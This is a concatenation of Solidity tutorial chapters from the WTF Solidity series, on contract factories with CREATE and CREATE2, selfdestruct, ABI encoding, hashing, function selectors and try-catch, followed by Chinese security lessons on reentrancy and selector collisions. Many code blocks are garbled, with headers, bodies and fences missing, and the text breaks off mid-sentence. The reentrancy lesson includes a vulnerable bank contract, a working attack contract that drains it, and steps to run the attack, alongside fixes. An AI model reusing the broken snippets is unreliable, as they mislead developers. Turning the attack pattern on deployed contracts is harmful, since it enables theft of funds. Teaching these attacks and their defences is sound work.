> **Answer**: Because `Uniswap` uses `create2` creating new smart contracts, parameters is not allowed in the constructor when using create2. When using `create`, it is allowed to have parameters in `Pair` contract, and you can set

the addresses of `token0` and `token1` in the `constructor`.

contract PairFactory{
    mapping(address => mapping(address => address)) public getPair; // get Pair's address based on 2 tokens' addresses
    address[] public allPairs; // store all Pair addresses

        // create a new contract
        // call initialize function of the new contract
        // update getPair and allPairs
    }
}
```
Factory contract (`PairFactory`) has 2 state variables, `getPair` is a map of 2 token address and Pair contract address,  and is used to find `Pair` contract address based on 2 token addresses. `allPairs` is an array of Pair contract addresses, which is used to store all Pair contract addresses.

There's only one function in `PairFactory`, `createPair`, which creates a new `Pair` contract based on 2 token addresses `tokenA` and tokenB.``

Pair pair = new Pair(); 
```

The above code

is used to create a new smart contract, very straightforward. You can deploy `PairFactory` contract first, then call `createPair` with the following 2 addresses as arguments, and find out what is the address of the new `Pair` contract.

WBNB address: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78
PEOPLE address on BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
```

### Verify on Remix

1. Call `createPair` with the arguments of the addresses of `WBNB` and `PEOPLE`, we will have the address of `Pair` contract: 0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D

2. Check the state variables of `Pair` contract

3. Use debug to check `create` opcode

## Summary
In this lecture, we introduce how to create a new smart contract in an existed smart contract with `create` method by using a simplified version of `Uniswap`, in next lecture we will introduce how to implement a simplified `Uniswap` with `create2`.

---
tags:
  - solidity
  - advanced
  - create2
---

# Solidity Minimalist Tutorial: 25. Create2

-----

`CREATE2` opcode helps us to predict the address of smart contract before it is deployed on Ethereum network, and `Uniswap` created `Pair` contract with `CREATE2` instead of `CREATE`.

In this chapter, I will introduce the use of `CREATE2`.

## How does `CREATE` calculate address
Smart contracts can be created by other contracts and regular accounts using the `CREATE` opcode. 

In both

cases, the address of new contract is calculated in the same way: the hash of creator's address (usually wallet address which will deploy or contract address) and the nonce(the total number of transactions sent from this address or, for contract account, the total number of contracts created. Every time a contract is created, the nonce will plus one).
```
new address = hash(creator's address, nonce)
```
creator's address won't change, but the nonce may change over time, so it's
difficult to predict the address of contract created with CREATE.

## How does `CREATE2` calculate address
The purpose of `CREATE2` is to make contract address independent of future events. No matter what happens on blockchain in the future, you can deploy the contract to a pre-calculated address.

The address of contract created with `CREATE2` is determined by four parts:
- `0xFF`: a constant to avoid conflict with `CREATE`
- creator's address
- salt: a value given by creator
- The bytecode of contract to be deployed

```
new address = hash("0xFF", creator's address, salt, bytecode)
```
`CREATE2` ensures that if creator deploys a given contract bytecode with `CREATE2` and given `salt`, it will be stored at

`new address`.

## How to use `CREATE2`
`CREATE2` is used in the same way as `Create`. It also `new` a new contract and passes in parameters which is needed for the new contract constructor, except with an extra `salt` parameter.
```
```
`Contract` is the name of contract to be created, `x` is the contract object (address), and `_salt` is the specified salt; If the constructor is `payable`, a number of(`_value`) `ETH` can be transferred to the contract at creation, and `params` is the parameter of new contract constructor.

## Minimalist Uniswap2

Similar to [the previous chapter](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/24_Create_en), we use `Create2` to implement a minimalist `Uniswap`.

### `Pair`

    }

        require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); //

sufficient check
    }
}
```
`Pair` contract is simple and contains three state variables: `factory`, `token0` and `token1`.

Constructor assigns the `factory` to factory contract address at deployment time. `initialize` function is called once by factory contract when the `Pair` contract is created, updating `token0` and `token1` to the addresses of two tokens in the token pair.

### `PairFactory2`
        mapping(address => mapping(address => address)) public getPair; // Find the Pair address by two token addresses
        address[] public allPairs; // Save all Pair addresses

            require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same
            // Calculate salt with tokenA and tokenB addresses
            (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //Sort tokenA and tokenB by size
            //Deploy new contract with create2
            // call initialize function

of the new contract
            // Update address map
        }
```
Factory contract(`PairFactory2`) has two state variables. `getPair` is a map of two token addresses to the token pair address. It is convenient to find the token pair address according to tokens. `allPairs` is an array of token pair address, storing all token pair addresses.

`PairFactory2` contract has only one `createPair2` function, which uses `CREATE2` to create a new `Pair` contract based on the two token addresses `tokenA` and `tokenB` entered. Inside
    Pair pair = new Pair{salt: salt}(); 
```
It's the above code that uses `CREATE2` to create contract, which is very simple, and `salt` is the hash of `token1` and `token2`.
```

### Calculate `Pair` address beforehand
        // Calculate Pair contract address beforehand
            require(tokenA != tokenB,

'IDENTICAL_ADDRESSES'); //Avoid conflicts when tokenA and tokenB are the same
            // Calculate contract address
                salt,
            )))));
        }
```
We write a `calculateAddr` function to precompute the address of `Pair` that `tokenA` and `tokenB` will generate. With it, we can verify whether the address we calculated in advance is the same as actual address.

You can deploy `PairFactory2` contract and call `createPair2` with the following two addresses as parameters to see what is the address of token pair created and whether it is the same as the precomputed address.

```
PEOPLE address on BSC:
```

#### If there are parameters in deployment contract constructor

For example, when `create2`

contract:
> Pair pair = new Pair{salt: salt}(address(this)); 

When calculating, you need to package parameters and bytecode together:

                salt,
            )))));
```

### Verify on remix
1. First, the address hash of `WBNB` and `PEOPLE` is used as `salt` to calculate the address of `Pair` contract
2. Calling `PairFactory2.createPair2` and the address of `WBNB` and `PEOPLE` are passed in as parameters to get the address of `pair` contract created.
3. Compare contract address.

![create2_remix_test.png](./img/25-1_en.jpg)

## Application scenario of `CREATE2`
1. The exchange reserves addresses for new users to create wallet contracts.
2. `Factory` contract driven by `CREATE2`. The creation of trading pairs in `UniswapV2` is done by calling `create2` in `Factory`. The advantage is: It can get a certain `pair` address, so that the

Router can calculate `pair` address through `(tokenA, tokenB)`, no longer need to perform a `Factory.getPair(tokenA, tokenB)` cross-contract call.

## Summary
In this chapter, we introduced the principle of `CREATE2` opcode and how to use it. Besides, we used it to create a minimalist version of `Uniswap` and calculate token pair contract address in advance. `CREATE2` helps us to determine contract address before deploying the contract, which is basis for some `layer2` projects.

---
Ethereum communitytitle: 26. DeleteContract
tags:
  - solidity
  - advanced
---
# WTF Solidity Tutorial: 26. DeleteContract

---

The `selfdestruct` operation is the only way to delete a smart contract and the remaining Ether stored at that address is sent to a designated target. The `selfdestruct` operation is designed to deal with the extreme case of contract errors. Originally the opcode was named `suicide` but the Ethereum community decided to rename it as

`selfdestruct` because suicide is a heavy subject and we should make every effort possible to not affect the programmer who suffer from depression.

### How to use `selfdestruct`

It's simple to use `selfdestruct`：

selfdestruct(_addr);
```

 `_addr` is the address to store the remaining `ETH` in the contract.

### Example:

    constructor() payable {}

        // use selfdestruct to delete the contract and send the remaining ETH to msg.sender
    }

    }
}
```

In `DeleteContract`，we define a public state variable named `value` and two functions：`getBalance()` which is used to get ETH balance of the contract，`deleteContract()` which is used to delete the contract and transfer the remaining ETH to the sender of message.

After the contract is deployed，we send 1 ETH to the contract. The result should be 1 ETH while we call `getBalance()` and the `value` should be 10.

Then we call `deleteContract().`

The contract will self-destruct and all variables will be cleared. At this time, `value` is equal to  `0` which is the default value, and `getBalance()` also returns an empty value.

### Attention

1. When providing the contract destruction function externally, it is best to declare the function to only be called by the contract onwer such as using the  function modifier `onlyOwner`.
2. When the contract is destructed, the interaction with the smart contract can also succeed and return `0` .
3. Security and trust issues often arise when there is a `selfdestruct` function in a contract. The function of  `selfdestruct`  in the contract opens up attack vectors for attackers. For example, using `selfdestruct` to frequently transfer tokens to a contract to attack, this will greatly save the cost of GAS, although few people do this. In addition, this `selfdestruct`  feature reduces users' confidence in the contract.

### Example from Remix

1. Deploy the contract and send 1 ETH to the contract. Check the status of contract.

2. Delete the contract and check the status of contract.

By checking the contract

state, we know that ETH is sent to the specified address after the contract is destroyed. After the contract is deleted, we can still interact with the contract. So we cannot confirm whether the contract has been destroyed based on this condition.

## Summary

`selfdestruct` is the emergency button for smart contracts. It will delete the contract and transfer the remaining `ETH` to the designated account. When the famous `The DAO` hack happened, the founders of Ethereum must have regretted not adding `selfdestruct` to the contract to stop the hacker attack.

---
tags:
  - solidity
  - advanced
---

# Solidity Minimalist Tutorial: 27. ABIEncode&Decode

-----

`ABI`(Application Binary Interface) is the standard for interacting with Ethereum smart contracts. Data is encoded based on its type, and because the encoded result doesn't contain type information, it is necessary to indicate their types when decoding.

In Solidity, `ABI encode` has four functions: `abi.encode`, `abi.encodePacked`, `abi.encodeWithSignature`,

`abi.encodeWithSelector`. While `ABI decode` has one function: `abi.decode`, which is used to decode the data of `abi.encode`.

In this chapter, We will learn how to use these functions.

## ABI encode
We will encode four variables, their types are `uint256` (alias `uint`), `address`, `string`, `uint256[2]`:
    uint x = 10;
```

### `abi.encode`
Use [ABI rules](https://learnblockchain.cn/docs/solidity/abi-spec.html) to encode the given parameters. `ABI` is designed to interact with smart contract by filling each parameter with 32 bytes data and splicing them together. If you want to interact with contracts, you should use `abi.encode`.
    }
```
The result of encoding

is`0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. Since `abi.encode` fills each data with 32 bytes data, there are a lot of `0` in middle

Encode given parameters according to their minimum required space. It is similar to `abi.encode`, but omits a lot of `0` filled in. For example, only 1 byte is used to encode the `uint` type. You can use `abi.encodePacked` when you want to save space and don't interact with contracts. For example when computing `hash` of some data.
        result = abi.encodePacked(x, addr, name, array);
    }
```

is`0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`. Because `abi.encodePacked` compacts encoding, the length of result is much shorter than `abi.encode`.

Similar with `abi.encode` function, but the first parameter is `function signatures`, such as `"foo(uint256, address, string, uint256[2])"`. It can be used when calling other contracts.
    }
```

is`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. This is equivalent to adding 4 bytes `function selector` to the front of result of `abi.encode`[^note].
[^note]: Function selectors identify functions by signature processing(Keccak–Sha3) using function names and arguments, which can be used for function call between different contracts.

Similar to `abi.encodeWithSignature`, except that first argument is a `function selector` which is the first 4 bytes of `function signature` Keccak hash.

        result =

abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array);
    }
```

The result of encoding is`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`. The result is the same as `abi.encodeWithSignature`

## ABI decode
`abi.decode` is used to decode the binary code generated by `abi.encode` and restore it to its original parameters.

    }
```
We input binary encoding of `abi.encode` into `decode`, which will

decode the original parameters:

- deploy contract to check the encodeing result of `abi.encode`
![](./img/27-1_en.png)

- compare and verify the similarities and differences of four encoding functions
![](./img/27-2_en.png)

- check the decodeing result of `abi.decode`
![](./img/27-3_en.png)

1. In contract development, ABI is often paired with call to implement low-level call to contract.

```
2. ABI is often used in ethers.js to implement contract import and function call.
    /*
        */
```
3. After decompiling a non-open

source contract, some functions cannot find function signature but can be called through ABI.
- 0x533ba33a() is a function which show after decompiled, we can only get function encoded results, and can't find function signature.
![](./img/27-4_en.png)
![](./img/27-5_en.png)
- in this case we can't call through constructing an interface or contract
![](./img/27-6_en.png)

In this case, we can call through ABI function selector.

```

## Summary
In Ethereum, data must be encoded into bytecode to interact with smart contracts. In this chapter, we introduced four `abi encoding` functions and one `abi decoding` function.

---
tags:
  - solidity
  - advanced
  - hash
---
# WTF Solidity Tutorial: 28. Hash

---

Hash function is a cryptographic concept. It can convert a message of arbitrary length into a fixed-length value. This value is also called  hash. In this lecture, we briefly introduce the hash function and its application in solidity.

## Properties of Hash

A good hash function should have the following properties:

- One-way: The forward operation from the input message to its hash is simple and uniquely determined, while the

reverse is very difficult and can only be enumerated by brute force.
- Sensitivity: A little change in the input message changes its hash a lot.
- Efficiency: The operation from the input message to the hash is efficient.
- Uniformity: The probability of each hash value being taken should be basically equal.
- Collision resistance:
  - Weak collision resistance: given a message `x`, it is difficult to find another message `x` such that `hash(x) = hash(x')`.
  - Strong collision resistance: finding arbitrary `x` and `x` such that `hash(x) = hash(x')` is difficult.

## Hash application

- Unique identifier for generated data
- Cryptographic signature
- Secure encryption

The `Keccak256` function is the most commonly used hash function in `solidity`, and its usage is very simple:

hash = keccak256(data);
```

### Keccak256 and sha3

Here's an interesting thing:

1. sha3 is standardized by keccak. Keccak and SHA3 are synonymous on many occasions. But when SHA3 was finally standardized in August 2015, NIST adjusted the padding algorithm.
   So SHA3 is different from the result calculated by keccak. We should be paid attention to this point in actual

development.
2. sha3 was still being standardized when Ethereum was developing so Ethereum used keccak. In other words, SHA3 in Ethereum and Solidity smart contract code refers to Keccak256, not standard NIST-SHA3. In order to avoid confusion, it is clearest that we write Keccak256 directly in the contract code.

### Generate unique identifier of the data

We can use `keccak256` to generate a unique identifier for data. For example we have several different types of data: `uint`, `string`, `address`. We can first use the `abi.encodePacked` method to pack and encode them, and then use `keccak256` to generate a unique identifier.

### Weak collision resistance

We use `keccak256` to show the weak collision resistance that given a message `x`, it is difficult to find another message `x' such that `hash(x) = hash(x')`.

We define a message named `0xAA` and try to find another message which's hash value is equal to the message `0xAA`.

    // Weak collision resistance
    }
```

You can try it 10 times and see if you can get lucky.

### Strong collision

resistance

We use `keccak256` to show the strong collision resistance that finding arbitrarily different `x` and `x'` such that `hash(x) = hash(x')` is difficult.

We define a function called `strong` that receive two parameters of string type named `string1` and `string2`. Then check if their hashed are the same.

    // Strong collision resistance
        string memory string1,
    }
```

## Example from Remix

- Deploy the contract and view the generated result of the unique identifier.
  ![img](./img/28-1.png)
- Verify the sensitivity of the hash function, as well as strong and weak collision resistance
  ![img](./img/28-2.png)

## Summary

In this section, we introduced what a hash function is and how to use `keccak256`, the most commonly used hash function in `solidity`.

---
title: 29. Function Selector
tags:
  - solidity
  - advanced
  - selector
---
# WTF Solidity Tutorial: 29. Function Selector

---

When we call a smart contract, we essentially send a `calldata` to the target contract. After sending a transaction in remix, we can see in the details that `input` is the `calldata` of this transaction.

The first 4 bytes of calldata is called a function selector. In this section, we will introduce what `selector` is and how to use it.

###

`msg.data`

`msg.data` is a global variable in `solidity`. The value of `msg.data` is the full `calldata` (the data passed in when the function is called).

In the following code, we can output the `calldata` that calls the `mint` function through the `Log` event:

    // event returns msg.data

    }
```

When the parameter is `0x2c44b726ADF1963cA47Af88B284C06f30380fC78`, the output `calldata` is

```
```

This messy bytecode can be divided into two parts:

```
The first 4 bytes are the selector:

The next 32 bytes are the input parameters:
```

Actually, this  `calldata` is to tell the smart contract which function I want to call and what the parameters are.

### `method id`、`selector` and `Function Signatures`

The `method id` is defined as the first 4 bytes after the `Keccak` hash of the `function signature`. The function is called when the `selector` matches the `method id`.

Then what is the `function

signature` ? In section 21, we introduced function signature. The function signature is `"function_name(comma-separated parameter types)"`. For example, the function signature of `mint` in the code above is `"mint(address)"`. In the same smart contract, different functions have different function signatures, so we can determine which function to call by the function signature.

Please note that `uint` and `int` are written as `uint256` and `int256` in the function signature.

Let's define a function to verify that the `method id` of the `mint` function is `0x6a627842`. You can call the function below and see the result.

    }
```

The result is `0x6a627842`:

### how to use `selector`

We can use `selector` to call the target function. For example, if I want to call the `mint` function, I just need to use `abi.encodeWithSelector` to pack and encode the `mint` function's `method id` as the `selector` and parameters, and pass it to the `call` function:

````solidity
     function callWithSignature() external

returns(bool, bytes memory){
         (bool success, bytes memory data) = address(this).call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"));
         return(success, data);
     }
````

We can see in the log that the `mint` function was successfully called and the `Log` event was output.

## Summary

In this section, we introduce what is `selector` and its relationship with `msg.data`, `function signature`, and how to use it to call the target function.

---
tags:
  - solidity
  - advanced
  - try catch
---

# Solidity Minimalist Tutorial: 30. Try Catch

-----

`try-catch` is a standard way of handling exceptions that is almost ubiquitous in modern programming languages. Besides, it's added to `solidity`0.6.

In this chapter, we will introduce you how to use `try-catch` to handle exceptions in smart contracts. 

In `solidity`, `try-catch` can only be used for `external` function or call `constructor` (considered `external` function) when

creating contracts. The basic syntax is as follows:
            // if call succeeds, run some codes
        } catch {
            // if call fails, run some codes
        }
```
`externalContract.f()` is function call of an external contract, `try` module runs if call succeeds, while `catch` module runs if call fails.

You can also use `this.f()` instead of `externalContract.f()`. `this.f()` is also considered as an external call, but can't be used in constructor because the contract has not been created at that time.

If the called function has a return value, then `returns(returnType val)` must be declared after `try`, and the returned variable can be used in `try` module. In the case of contract creation, the returned value is newly created contract variable.
        try externalContract.f() returns(returnType val){
        } catch {
        }
```

Besides, `catch` module supports catching special exception causes:

            // catch revert("reasonString") and require(false,

"reasonString")
            // Catch errors caused by Panic, such as assert failures, overflows, division by zero, array access out of bounds
            // If a revert occurs and the above two exception types fail to match, it will go into this branch
            // such as revert(), require(false), revert a custom type error
        }
```

## `try-catch` actual combat
We create an external contract `OnlyEven` and use `try-catch` to handle exceptions:

    }

        // revert when an odd number is entered
    }
}
```
`OnlyEven` contract contains a constructor and an `onlyEven` function.

- constructor has one argument `a`, when `a=0`, `require` will throw an exception; When `a=1`, `assert` will throw an exception. All other conditions are normal.
- `onlyEven` function has one argument `b`, when `b` is odd, `require` will throw an exception.

### Handle external function call exceptions
First, define some

events and state variables in `TryCatch` contract:
    // success event

    // failure event
    event CatchEvent(string message);

    // declare OnlyEven contract variable

    }
```
`SuccessEvent` is the event that will be released when call succeeds, while `CatchEvent` and `CatchByte` are the events that will be released when an exception is thrown, corresponding to `require/revert` and `assert` exceptions respectively. `even` is a state variable of `OnlyEven` contract type.

Then we use `try-catch` in `execute` function to handle exception in the call to external function `onlyEven`:

    // use try-catch in external call
            // if call succeeds
            // if call fails
        }
    }
```
### verify on remix

When running `execute(0)`, because `0` is even, satisfy `require(b % 2 == 0, "Ups! Reverting");`, so no exception is thrown. The call

succeeds and `SuccessEvent` is released.

![](./img/30-1_en.jpg)

When running `execute(1)`, because `1` is odd, doesn't satisfy `require(b % 2 == 0, "Ups! Reverting");`, so exception is thrown. The call fails and `CatchEvent` is released.

![](./img/30-2_en.jpg)

### Handle contract creation exceptions

Here we use `try-catch` to handle exceptions when a contract is created. Just need to rewrite `try` module to the creation of `OnlyEven` contract

    // use try-catch when creating new contract(Contract creation is considered an external call)
    // executeNew(0) will fail and emit `CatchEvent`
    // executeNew(1) will fail and emit `CatchByte`
    // executeNew(2) will succeed and emit `SuccessEvent`
            // catch revert("reasonString") and require(false, "reasonString")
            // catch assert() of failure, the error type of assert is Panic(uint256) instead of Error(string), so it will go

into this branch
        }
    }
```

When running `executeNew(0)`, because `0` doesn't satisfy `require(a != 0, "invalid number");`, the call will fail and `CatchEvent` is released.

![](./img/30-3_en.jpg)

When running `executeNew(1)`, because `1` doesn't satisfy `assert(a != 1);`, the call will fail and `CatchByte` is released.

![](./img/30-4_en.jpg)

When running `executeNew(2)`, because `2` satisfy `require(a != 0, "invalid number");` and `assert(a != 1);`, the call succeeds and `SuccessEvent` is released.

![](./img/30-5_en.jpg)

## Summary
In this chapter, we introduced how to use `try-catch` in `solidity` to handle exceptions in the operation of smart contracts.

---
title: S01. 重入攻击
tags:
  - solidity
  - security
  - fallback
  - modifier
---

# WTF Solidity 合约安全: S01. 重入攻击

-----

这一讲，我们将介绍最常见的一种智能合约攻击-重入攻击，它曾导致以太坊分叉为 ETH 和 ETC（以太经典），并介绍如何避免它。

## 重入攻击

重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。

一些著名的重入攻击事件：

- 2016年，The DAO合约被重入攻击，黑客盗走了合约中的 3,600,000 枚 `ETH`，并导致以太坊分叉为 `ETH` 链和 `ETC`（以太经典）链。
- 2019年，合成资产平台 Synthetix 遭受重入攻击，被盗 3,700,000 枚 `sETH`。
- 2020年，借贷平台 Lendf.me 遭受重入攻击，被盗 $25,000,000。
- 2021年，借贷平台 CREAM FINANCE 遭受重入攻击，被盗 $18,800,000。
- 2022年，算法稳定币项目 Fei 遭受重入攻击，被盗 $80,000,000。

距离 The DAO 被重入攻击已经6年了，但每年还是会有几次因重入漏洞而损失千万美元的项目，因此理解这个漏洞非常重要。

## `0xAA`

抢银行的故事

为了让大家更好理解，这里给大家讲一个"黑客`0xAA`抢银行"的故事。

以太坊银行的柜员都是机器人（Robot），由智能合约控制。当正常用户（User）来银行取钱时，它的服务流程：

1. 查询用户的 `ETH` 余额，如果大于0，进行下一步。
2. 将用户的 `ETH` 余额从银行转给用户，并询问用户是否收到。
3. 将用户名下的余额更新为`0`。

一天黑客 `0xAA` 来到了银行，这是他和机器人柜员的对话：
- 0xAA : 我要取钱，`1 ETH`。
- Robot: 正在查询您的余额：`1 ETH`。正在转帐`1 ETH`到您的账户。您收到钱了吗？
- 0xAA : 等等，我要取钱，`1 ETH`。
- ...

最后，`0xAA`通过重入攻击的漏洞，把银行的资产搬空了，银行卒。

![](./img/S01-1.png)

## 漏洞合约例子

### 银行合约

银行合约非常简单，包含`1`个状态变量`balanceOf`记录所有用户的以太坊余额；包含`3`个函数：
- `deposit()`：存款函数，将`ETH`存入银行合约，并更新用户的余额。
- `withdraw()`：提款函数，将调用者的余额转给它。具体步骤和上面故事中一样：查询余额，转账，更新余额。**注意：这个函数有重入漏洞！**
- `getBalance()`：获取银行合约里的`ETH`余额。

contract Bank {
    mapping (address => uint256) public balanceOf;    // 余额mapping

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient

balance");
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
    }
}
```

### 攻击合约

重入攻击的一个攻击点就是合约转账`ETH`的地方：转账`ETH`的目标地址如果是合约，会触发对方合约的`fallback`（回退）函数，从而造成循环调用的可能。如果你不了解回退函数，可以阅读[WTF Solidity极简教程第19讲：接收ETH](https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback/readme.md)。`Bank`合约在`withdraw()`函数中存在`ETH`转账：

```
(bool success, ) = msg.sender.call{value: balance}("");
```

假如黑客在攻击合约中的`fallback()`或`receive()`函数中重新调用了`Bank`合约的`withdraw()`函数，就会造成`0xAA`抢银行故事中的循环调用，不断让`Bank`合约转账给攻击者，最终将合约的`ETH`提空。

        bank.withdraw();
    }
```

下面我们看下攻击合约，它的逻辑非常简单，就是通过`receive()`回退函数循环调用`Bank`合约的`withdraw()`函数。它有`1`个状态变量`bank`用于记录`Bank`合约地址。它包含`4`个函数：

- 构造函数: 初始化`Bank`合约地址。
- `receive()`: 回调函数，在接收`ETH`时被触发，并再次调用`Bank`合约的`withdraw()`函数，循环提款。
-

`attack()`：攻击函数，先`Bank`合约的`deposit()`函数存款，然后调用`withdraw()`发起第一次提款，之后`Bank`合约的`withdraw()`函数和攻击合约的`receive()`函数会循环调用，将`Bank`合约的`ETH`提空。
- `getBalance()`：获取攻击合约里的`ETH`余额。

contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
        if (bank.getBalance() >= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        bank.deposit{value: 1 ether}();
    }

    // 获取本合约的余额
    }
}
```

1. 部署`Bank`合约，调用`deposit()`函数，转入`20 ETH`。
2. 切换到攻击者钱包，部署`Attack`合约。
3. 调用`Atack`合约的`attack()`函数发动攻击，调用时需转账`1 ETH`。
4. 调用`Bank`合约的`getBalance()`函数，发现余额已被提空。
5. 调用`Attack`合约的`getBalance()`函数，可以看到余额变为`21 ETH`，重入攻击成功。

## 预防办法

目前主要有两种办法来预防可能的重入攻击漏洞： 检查-影响-交互模式（checks-effect-interaction）和重入锁。

###

检查-影响-交互模式

检查-影响-交互模式强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。如果我们将`Bank`合约`withdraw()`函数中的更新余额提前到转账`ETH`之前，就可以修复漏洞：

```solidity 
function withdraw() external {
    uint256 balance = balanceOf[msg.sender];
    require(balance > 0, "Insufficient balance");
    // 检查-效果-交互模式（checks-effect-interaction）：先更新余额变化，再发送ETH
    // 重入攻击的时候，balanceOf[msg.sender]已经被更新为0了，不能通过上面的检查。
    balanceOf[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success, "Failed to send Ether");
}
```

### 重入锁

重入锁是一种防止重入函数的修饰器（modifier），它包含一个默认为`0`的状态变量`_status`。被`nonReentrant`重入锁修饰的函数，在第一次调用时会检查`_status`是否为`0`，紧接着将`_status`的值改为`1`，调用结束后才会再改为`0`。这样，当攻击合约在调用结束前第二次的调用就会报错，重入攻击失败。如果你不了解修饰器，可以阅读[WTF Solidity极简教程第11讲：修饰器](https://github.com/AmazingAng/WTFSolidity/blob/main/13_Modifier/readme.md)。

uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
    // 在第一次调用 nonReentrant 时，_status 将是 0
    require(_status == 0, "ReentrancyGuard: reentrant call");
    // 在此之后对 nonReentrant 的任何调用都将失败
    _status = 1;
    _;
    // 调用结束，将 _status 恢复为0
    _status =

0;
}
```

只需要用`nonReentrant`重入锁修饰`withdraw()`函数，就可以预防重入攻击了。

// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{

}
```

## 总结

这一讲，我们介绍了以太坊最常见的一种攻击——重入攻击，并编了一个`0xAA`抢银行的小故事方便大家理解，最后我们介绍了两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。在例子中，黑客利用了回退函数在目标合约进行`ETH`转账时进行重入攻击。实际业务中，`ERC721`和`ERC1155`的`safeTransfer()`和`safeTransferFrom()`安全转账函数，还有`ERC777`的回退函数，都可能会引发重入攻击。对于新手，我的建议是用重入锁保护所有可能改变合约状态的`external`函数，虽然可能会消耗更多的`gas`，但是可以预防更大的损失。

---
title: S02. 选择器碰撞
tags:
  - solidity
  - security
  - selector
  - abi encode
---

# WTF Solidity 合约安全: S02. 选择器碰撞

-----

这一讲，我们将介绍选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑的原因之一。在2021年8月，Poly Network在ETH，BSC，和Polygon上的跨链桥合约被盗，损失高达6.11亿美元（[总结](https://rekt.news/zh/polynetwork-rekt/)）。这是2021年最大的区块链黑客事件，也是历史被盗金额榜单上第2名，仅次于 Ronin 桥黑客事件。

## 选择器碰撞

以太坊智能合约中，函数选择器是函数签名 `"<function name>(<function input types>)"` 的哈希值的前`4`个字节（`8`位十六进制）。当用户调用合约的函数时，`calldata`的前`4`字节就是目标函数的选择器，决定了调用哪个函数。如果你不了解它，可以阅读[WTF

Solidity极简教程第29讲：函数选择器](https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector/readme.md)。

由于函数选择器只有`4`字节，非常短，很容易被碰撞出来：即我们很容易找到两个不同的函数，但是他们有着相同的函数选择器。比如`transferFrom(address,address,uint256)`和`gasprice_bit_ether(int128)`有着相同的选择器：`0x23b872dd`。当然你也可以写个脚本暴力破解。

![](./img/S02-1.png)

大家可以用这两个网站来查同一个选择器对应的不同函数：

1. https://www.4byte.directory/
2. https://sig.eth.samczsun.com/

你也可以使用下面的`Power Clash`工具进行暴力破解：

1. PowerClash: https://github.com/AmazingAng/power-clash

相比之下，钱包的公钥有`256`字节，被碰撞出来的概率几乎为`0`，非常安全。

## `0xAA` 解决斯芬克斯之谜

以太坊的人得罪了天神，天神震怒。天后赫拉为了惩罚以太坊的人，在以太坊的峭崖上降下一个名叫斯芬克斯的人面狮身的女妖。她向每一个路过悬崖的以太坊用户提出一个谜语：“什么东西在早晨用四只脚走路，中午两只脚走路，晚间三只脚走路，在一切生物中这是唯一的用不同数目的脚走路的生物。脚最多的时候，正是速度和力量最小的时候。”对于这个奥妙费解的谜语，凡猜中者即可活命，凡猜不中者一律被吃掉。过路的人全被斯芬克斯吃了，以太坊用户陷入恐惧之中。斯芬克斯用选择器`0x10cd2dc7`来验证答案是否正确。

有一天上午，俄狄浦斯路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是`"function man()"`啊！在生命的早晨，他是个孩子，用两条腿和两只手爬行；到了生命的中午，他变成壮年，只用两条腿走路；到了生命的傍晚，他年老体衰，必须借助拐杖走路，所以被称为三只脚。”谜语被猜中后，俄狄浦斯得以生还。

那一天下午，`0xAA`路过此地，会见了女妖，并猜中了这神秘奥妙之谜。他说：“这是`"function

